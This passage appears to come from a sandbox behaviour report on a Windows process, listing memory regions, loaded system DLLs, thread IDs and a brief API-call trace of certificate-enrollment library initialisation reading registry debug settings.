= "" Region: id = 3771 start_va = 0x4880000 end_va = 0x497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004880000" filename = "" Region: id = 3772 start_va = 0x4e00000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 3773 start_va = 0x72b0000 end_va = 0x73affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000072b0000" filename = "" Region: id = 3775 start_va = 0x600000 end_va = 0x602fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3777 start_va = 0x600000 end_va = 0x606fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3778 start_va = 0x610000 end_va = 0x612fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 3780 start_va = 0x600000 end_va = 0x605fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3783 start_va = 0x600000 end_va = 0x606fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3784 start_va = 0x600000 end_va = 0x605fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3846 start_va = 0x600000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 5486 start_va = 0x1d00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d00000" filename = "" Region: id = 5487 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 5507 start_va = 0x1f00000 end_va = 0x1f00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5560 start_va = 0x7fffc51c0000 end_va = 0x7fffc526bfff monitored = 0 entry_point = 0x7fffc51de600 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 5576 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5577 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5578 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5579 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5580 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5584 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5585 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5590 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5591 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5592 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5593 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5594 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5595 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5596 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5600 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5601 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5602 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5603 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5604 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5605 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5606 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5613 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5614 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5615 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5616 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5617 start_va = 0x1f10000 end_va = 0x1f12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 5618 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5619 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5621 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5622 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5623 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5624 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5625 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5626 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5627 start_va = 0x1f10000 end_va = 0x1f12fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f10000" filename = "" Region: id = 5671 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5672 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5673 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5674 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5675 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5676 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5677 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5679 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5680 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5681 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5682 start_va = 0x1f00000 end_va = 0x1f06fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5683 start_va = 0x1f00000 end_va = 0x1f05fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5684 start_va = 0x1f00000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5685 start_va = 0x1f00000 end_va = 0x1f02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 5687 start_va = 0x1e00000 end_va = 0x1efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 5688 start_va = 0x1f00000 end_va = 0x1f04fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f00000" filename = "" Region: id = 6682 start_va = 0x1e00000 end_va = 0x1e01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e00000" filename = "" Region: id = 6684 start_va = 0x7fffc3550000 end_va = 0x7fffc355cfff monitored = 0 entry_point = 0x7fffc3554320 region_type = mapped_file name = "usocoreps.dll" filename = "\\Windows\\System32\\usocoreps.dll" (normalized: "c:\\windows\\system32\\usocoreps.dll") Region: id = 7360 start_va = 0x7fffa88f0000 end_va = 0x7fffa8912fff monitored = 0 entry_point = 0x7fffa8902c30 region_type = mapped_file name = "waasassessment.dll" filename = "\\Windows\\System32\\WaaSAssessment.dll" (normalized: "c:\\windows\\system32\\waasassessment.dll") Region: id = 7361 start_va = 0x7fffbe450000 end_va = 0x7fffbe534fff monitored = 0 entry_point = 0x7fffbe4dac50 region_type = mapped_file name = "flightsettings.dll" filename = "\\Windows\\System32\\FlightSettings.dll" (normalized: "c:\\windows\\system32\\flightsettings.dll") Region: id = 7362 start_va = 0x7fffbadd0000 end_va = 0x7fffbae0efff monitored = 0 entry_point = 0x7fffbadf7d00 region_type = mapped_file name = "wosc.dll" filename = "\\Windows\\System32\\wosc.dll" (normalized: "c:\\windows\\system32\\wosc.dll") Region: id = 7363 start_va = 0x7fffbcbe0000 end_va = 0x7fffbcbfefff monitored = 0 entry_point = 0x7fffbcbee410 region_type = mapped_file name = "utcutil.dll" filename = "\\Windows\\System32\\utcutil.dll" (normalized: "c:\\windows\\system32\\utcutil.dll") Region: id = 7364 start_va = 0x7fffae510000 end_va = 0x7fffae5abfff monitored = 0 entry_point = 0x7fffae577870 region_type = mapped_file name = "dcntel.dll" filename = "\\Windows\\System32\\dcntel.dll" (normalized: "c:\\windows\\system32\\dcntel.dll") Region: id = 7365 start_va = 0x7fffa87c0000 end_va = 0x7fffa886efff monitored = 0 entry_point = 0x7fffa87d9720 region_type = mapped_file name = "configmanager2.dll" filename = "\\Windows\\System32\\configmanager2.dll" (normalized: "c:\\windows\\system32\\configmanager2.dll") Region: id = 7366 start_va = 0x1e00000 end_va = 0x1e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e00000" filename = "" Region: id = 7367 start_va = 0x7fffc3460000 end_va = 0x7fffc3492fff monitored = 0 entry_point = 0x7fffc347cfd0 region_type = mapped_file name = "dmcmnutils.dll" filename = "\\Windows\\System32\\dmcmnutils.dll" (normalized: "c:\\windows\\system32\\dmcmnutils.dll") Region: id = 7368 start_va = 0x7fffbb550000 end_va = 0x7fffbb55bfff monitored = 0 entry_point = 0x7fffbb5531c0 region_type = mapped_file name = "dmoleaututils.dll" filename = "\\Windows\\System32\\dmoleaututils.dll" (normalized: "c:\\windows\\system32\\dmoleaututils.dll") Region: id = 7369 start_va = 0x7fffbc520000 end_va = 0x7fffbc528fff monitored = 0 entry_point = 0x7fffbc521380 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 7370 start_va = 0x7fffb5b20000 end_va = 0x7fffb5b3ffff monitored = 0 entry_point = 0x7fffb5b32180 region_type = mapped_file name = "enterpriseresourcemanager.dll" filename = "\\Windows\\System32\\enterpriseresourcemanager.dll" (normalized: "c:\\windows\\system32\\enterpriseresourcemanager.dll") Region: id = 7371 start_va = 0x7fffa8710000 end_va = 0x7fffa87b6fff monitored = 0 entry_point = 0x7fffa8715ca0 region_type = mapped_file name = "dmenrollengine.dll" filename = "\\Windows\\System32\\dmenrollengine.dll" (normalized: "c:\\windows\\system32\\dmenrollengine.dll") Region: id = 7372 start_va = 0x7fffad9a0000 end_va = 0x7fffadb69fff monitored = 0 entry_point = 0x7fffadad8360 region_type = mapped_file name = "appraiser.dll" filename = "\\Windows\\System32\\appraiser.dll" (normalized: "c:\\windows\\system32\\appraiser.dll") Region: id = 7373 start_va = 0x7fffcae30000 end_va = 0x7fffcb296fff monitored = 0 entry_point = 0x7fffcae53230 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 7374 start_va = 0x7fffc34a0000 end_va = 0x7fffc34e2fff monitored = 0 entry_point = 0x7fffc34a1810 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 7375 start_va = 0x7fffadb70000 end_va = 0x7fffade9afff monitored = 0 entry_point = 0x7fffadcb4ed0 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 7376 start_va = 0x1e80000 end_va = 0x1e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 7377 start_va = 0x7fffc8bf0000 end_va = 0x7fffc8d0afff monitored = 0 entry_point = 0x7fffc8bfc250 region_type = mapped_file name = "tdh.dll" filename = "\\Windows\\System32\\tdh.dll" (normalized: "c:\\windows\\system32\\tdh.dll") Region: id = 7378 start_va = 0x7fffb57e0000 end_va = 0x7fffb57f7fff monitored = 0 entry_point = 0x7fffb57e1360 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7379 start_va = 0x1e90000 end_va = 0x1e90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e90000" filename = "" Region: id = 7380 start_va = 0x7fffc6760000 end_va = 0x7fffc688ffff monitored = 0 entry_point = 0x7fffc67fdcf0 region_type = mapped_file name = "dsreg.dll" filename = "\\Windows\\System32\\dsreg.dll" (normalized: "c:\\windows\\system32\\dsreg.dll") Region: id = 7381 start_va = 0x7fffc8d70000 end_va = 0x7fffc8d98fff monitored = 0 entry_point = 0x7fffc8d71bd0 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 7382 start_va = 0x7fffc8d40000 end_va = 0x7fffc8d64fff monitored = 0 entry_point = 0x7fffc8d43920 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 7383 start_va = 0x7fffbc8c0000 end_va = 0x7fffbc8d1fff monitored = 0 entry_point = 0x7fffbc8c9300 region_type = mapped_file name = "enrollmentapi.dll" filename = "\\Windows\\System32\\enrollmentapi.dll" (normalized: "c:\\windows\\system32\\enrollmentapi.dll") Region: id = 7384 start_va = 0x7fffaec50000 end_va = 0x7fffaec6afff monitored = 0 entry_point = 0x7fffaec559c0 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 7385 start_va = 0x7fffcad60000 end_va = 0x7fffcad7cfff monitored = 0 entry_point = 0x7fffcad623b0 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" (normalized: "c:\\windows\\system32\\imagehlp.dll") Region: id = 7386 start_va = 0x7fffad7e0000 end_va = 0x7fffad996fff monitored = 0 entry_point = 0x7fffad90d5c0 region_type = mapped_file name = "enterprisecsps.dll" filename = "\\Windows\\System32\\enterprisecsps.dll" (normalized: "c:\\windows\\system32\\enterprisecsps.dll") Region: id = 7387 start_va = 0x7fffc34f0000 end_va = 0x7fffc3544fff monitored = 0 entry_point = 0x7fffc3519840 region_type = mapped_file name = "dmenterprisediagnostics.dll" filename = "\\Windows\\System32\\dmenterprisediagnostics.dll" (normalized: "c:\\windows\\system32\\dmenterprisediagnostics.dll") Region: id = 7388 start_va = 0x7fffbb760000 end_va = 0x7fffbb797fff monitored = 0 entry_point = 0x7fffbb780600 region_type = mapped_file name = "omadmapi.dll" filename = "\\Windows\\System32\\omadmapi.dll" (normalized: "c:\\windows\\system32\\omadmapi.dll") Region: id = 7389 start_va = 0x7fffc31e0000 end_va = 0x7fffc31fffff monitored = 0 entry_point = 0x7fffc31e1630 region_type = mapped_file name = "dmcfgutils.dll" filename = "\\Windows\\System32\\dmcfgutils.dll" (normalized: "c:\\windows\\system32\\dmcfgutils.dll") Region: id = 7390 start_va = 0x7fffc06e0000 end_va = 0x7fffc06fefff monitored = 0 entry_point = 0x7fffc06eeba0 region_type = mapped_file name = "dmxmlhelputils.dll" filename = "\\Windows\\System32\\dmxmlhelputils.dll" (normalized: "c:\\windows\\system32\\dmxmlhelputils.dll") Region: id = 7391 start_va = 0x7fffad4b0000 end_va = 0x7fffad7dbfff monitored = 0 entry_point = 0x7fffad4b5160 region_type = mapped_file name = "certenroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" (normalized: "c:\\windows\\system32\\certenroll.dll") Region: id = 7392 start_va = 0x7fffc03f0000 end_va = 0x7fffc03fefff monitored = 0 entry_point = 0x7fffc03f5010 region_type = mapped_file name = "iri.dll" filename = "\\Windows\\System32\\iri.dll" (normalized: "c:\\windows\\system32\\iri.dll") Region: id = 7393 start_va = 0x7fffad3e0000 end_va = 0x7fffad4acfff monitored = 1 entry_point = 0x7fffad3e2e40 region_type = mapped_file name = "certca.dll" filename = "\\Windows\\System32\\certca.dll" (normalized: "c:\\windows\\system32\\certca.dll") Region: id = 7394 start_va = 0x7fffbeb90000 end_va = 0x7fffbeb9bfff monitored = 0 entry_point = 0x7fffbeb91510 region_type = mapped_file name = "dsparse.dll" filename = "\\Windows\\System32\\dsparse.dll" (normalized: "c:\\windows\\system32\\dsparse.dll") Region: id = 7484 start_va = 0x1e80000 end_va = 0x1e81fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e80000" filename = "" Region: id = 7572 start_va = 0x1e90000 end_va = 0x1e91fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e90000" filename = "" Region: id = 7573 start_va = 0x3100000 end_va = 0x31fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003100000" filename = "" Region: id = 7574 start_va = 0x3440000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003440000" filename = "" Thread: id = 21 os_tid = 0x15d8 Thread: id = 22 os_tid = 0x1508 Thread: id = 23 os_tid = 0x14e0 Thread: id = 24 os_tid = 0x1570 Thread: id = 25 os_tid = 0x12a8 Thread: id = 26 os_tid = 0x5d0 Thread: id = 27 os_tid = 0x14bc Thread: id = 28 os_tid = 0x1554 Thread: id = 29 os_tid = 0x16d4 Thread: id = 30 os_tid = 0x16c8 Thread: id = 31 os_tid = 0x17c4 Thread: id = 32 os_tid = 0x12e0 Thread: id = 33 os_tid = 0xb00 Thread: id = 34 os_tid = 0xe50 Thread: id = 35 os_tid = 0x17d4 Thread: id = 36 os_tid = 0x121c Thread: id = 37 os_tid = 0xbb4 Thread: id = 38 os_tid = 0x668 Thread: id = 39 os_tid = 0xc70 Thread: id = 40 os_tid = 0xde8 Thread: id = 41 os_tid = 0xe4c Thread: id = 42 os_tid = 0x13ec Thread: id = 43 os_tid = 0x1738 Thread: id = 44 os_tid = 0x153c Thread: id = 45 os_tid = 0x1324 Thread: id = 46 os_tid = 0xf40 Thread: id = 47 os_tid = 0xf3c Thread: id = 48 os_tid = 0x17b4 Thread: id = 49 os_tid = 0xe5c Thread: id = 50 os_tid = 0x324 Thread: id = 51 os_tid = 0x98c Thread: id = 52 os_tid = 0x8b0 Thread: id = 53 os_tid = 0x86c Thread: id = 54 os_tid = 0x558 Thread: id = 55 os_tid = 0x8b8 Thread: id = 56 os_tid = 0xe18 Thread: id = 57 os_tid = 0xd58 Thread: id = 58 os_tid = 0x868 Thread: id = 59 os_tid = 0x660 Thread: id = 60 os_tid = 0x350 Thread: id = 61 os_tid = 0x1c0 [0199.014] malloc (_Size=0x100) returned 0x9ac1820 [0199.014] __dllonexit () returned 0x7fffa8024950 [0199.014] __dllonexit () returned 0x7fffa8024960 [0199.014] __dllonexit () returned 0x7fffa8024970 [0199.014] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".dll", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 1 [0199.015] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x9b1f3d0 [0199.015] memcpy (in: _Dst=0x9b1f3d0, _Src=0x7fffa807cf00, _Size=0x16 | out: _Dst=0x9b1f3d0) returned 0x9b1f3d0 [0199.016] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x9b1f850 [0199.016] LocalFree (hMem=0x9b1f3d0) returned 0x0 [0199.016] LocalFree (hMem=0x0) returned 0x0 [0199.016] LocalFree (hMem=0x0) returned 0x0 [0199.016] DisableThreadLibraryCalls (hLibModule=0x7fffa8020000) returned 1 [0199.017] getenv (_VarName="CERTSRV_DEBUG") returned 0x0 [0199.017] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Cryptography\\AutoEnrollment", lpValue="Debug", dwFlags=0x10, pdwType=0x0, pvData=0x43fa53c, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa53c, pcbData=0x43fa504*=0x4) returned 0x2 [0199.018] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration", lpValue="Debug", dwFlags=0x10, pdwType=0x0, pvData=0x43fa538, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa538, pcbData=0x43fa504*=0x4) returned 0x2 [0199.018] LocalAlloc (uFlags=0x40, uBytes=0x70) returned 0x8e64240 [0199.018] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration", ulOptions=0x0, samDesired=0x20019, phkResult=0x43fa550 | out: phkResult=0x43fa550*=0x0) returned 0x2 [0199.019] LocalFree (hMem=0x8e64240) returned 0x0 [0199.019] GetLocalTime (in: lpSystemTime=0x43f9838 | out: lpSystemTime=0x43f9838*(wYear=0x7e8, wMonth=0x6, wDayOfWeek=0x4, wDay=0x1b, wHour=0x4, wMinute=0x3, wSecond=0x17, wMilliseconds=0xb6)) [0199.019] _vsnprintf (in: _DstBuf=0x43f9848, _MaxCount=0xf, _Format="File%u", _ArgList=0x43f97c8 | out: _DstBuf="File437") returned 7 [0199.019] GetACP () returned 0x4e4 [0199.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr="certenroll.log", cbMultiByte=-1, lpWideCharStr=0x43fa5f0, cchWideChar=64 | out: lpWideCharStr="certenroll.log") returned 15 [0199.019] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Cryptography\\AutoEnrollment", lpValue="certenroll.log", dwFlags=0x10, pdwType=0x0, pvData=0x43fa518, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa518, pcbData=0x43fa504*=0x4) returned 0x2 [0382.533] malloc (_Size=0x100) returned 0x555480 [0382.533] __dllonexit () returned 0x7fffad3e4950 [0382.533] __dllonexit () returned 0x7fffad3e4960 [0382.533] __dllonexit () returned 0x7fffad3e4970 [0382.533] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".dll", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 1 [0382.533] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x8e5da10 [0382.533] memcpy (in: _Dst=0x8e5da10, _Src=0x7fffad43cf00, _Size=0x16 | out: _Dst=0x8e5da10) returned 0x8e5da10 [0382.533] LocalAlloc (uFlags=0x0, uBytes=0x1e) returned 0x8e5dc10 [0382.533] LocalFree (hMem=0x8e5da10) returned 0x0 [0382.533] LocalFree (hMem=0x0) returned 0x0 [0382.533] LocalFree (hMem=0x0) returned 0x0 [0382.533] DisableThreadLibraryCalls (hLibModule=0x7fffad3e0000) returned 1 [0382.535] getenv (_VarName="CERTSRV_DEBUG") returned 0x0 [0382.535] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Cryptography\\AutoEnrollment", lpValue="Debug", dwFlags=0x10, pdwType=0x0, pvData=0x43fa53c, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa53c, pcbData=0x43fa504*=0x4) returned 0x2 [0382.535] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration", lpValue="Debug", dwFlags=0x10, pdwType=0x0, pvData=0x43fa538, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa538, pcbData=0x43fa504*=0x4) returned 0x2 [0382.536] LocalAlloc (uFlags=0x40, uBytes=0x70) returned 0x83e9ec0 [0382.536] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration", ulOptions=0x0, samDesired=0x20019, phkResult=0x43fa550 | out: phkResult=0x43fa550*=0x0) returned 0x2 [0382.536] LocalFree (hMem=0x83e9ec0) returned 0x0 [0382.536] GetLocalTime (in: lpSystemTime=0x43f9838 | out: lpSystemTime=0x43f9838*(wYear=0x7e8, wMonth=0x6, wDayOfWeek=0x4, wDay=0x1b, wHour=0x4, wMinute=0x6, wSecond=0x1a, wMilliseconds=0x2bb)) [0382.536] _vsnprintf (in: _DstBuf=0x43f9848, _MaxCount=0xf, _Format="File%u", _ArgList=0x43f97c8 | out: _DstBuf="File437") returned 7 [0382.536] GetACP () returned 0x4e4 [0382.536] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr="certenroll.log", cbMultiByte=-1, lpWideCharStr=0x43fa5f0, cchWideChar=64 | out: lpWideCharStr="certenroll.log") returned 15 [0382.536] RegGetValueW (in: hkey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Cryptography\\AutoEnrollment", lpValue="certenroll.log", dwFlags=0x10, pdwType=0x0, pvData=0x43fa518, pcbData=0x43fa504*=0x4 | out: pdwType=0x0, pvData=0x43fa518, pcbData=0x43fa504*=0x4) returned 0x2 Thread: id = 62 os_tid = 0x9b8 Thread: id = 63 os_tid = 0xb4c Thread: id = 64 os_tid = 0xfb4 Thread: id = 65 os_tid = 0xa94 Thread: id = 66 os_tid = 0xc5c Thread: id = 67 os_tid = 0xc3c Thread: id = 68 os_tid = 0xba4 Thread: id = 69 os_tid = 0x4c0 Thread: id = 70 os_tid = 0x704 Thread: id = 71 os_tid = 0xf74 Thread: id = 72 os_tid = 0xf5c Thread: id = 73 os_tid = 0xf50 Thread: id = 74 os_tid = 0xf48 Thread: id = 75 os_tid = 0xf4c Thread: id = 76 os_tid = 0x4e0 Thread: id = 77 os_tid = 0x640 Thread: id = 78 os_tid = 0x538 Thread: id = 79 os_tid = 0x810 Thread: id = 80 os_tid = 0x80c Thread: id = 81 os_tid = 0xe24 Thread: id = 82 os_tid = 0x464 Thread: id = 83 os_tid = 0xbf4 Thread: id = 84 os_tid = 0x990 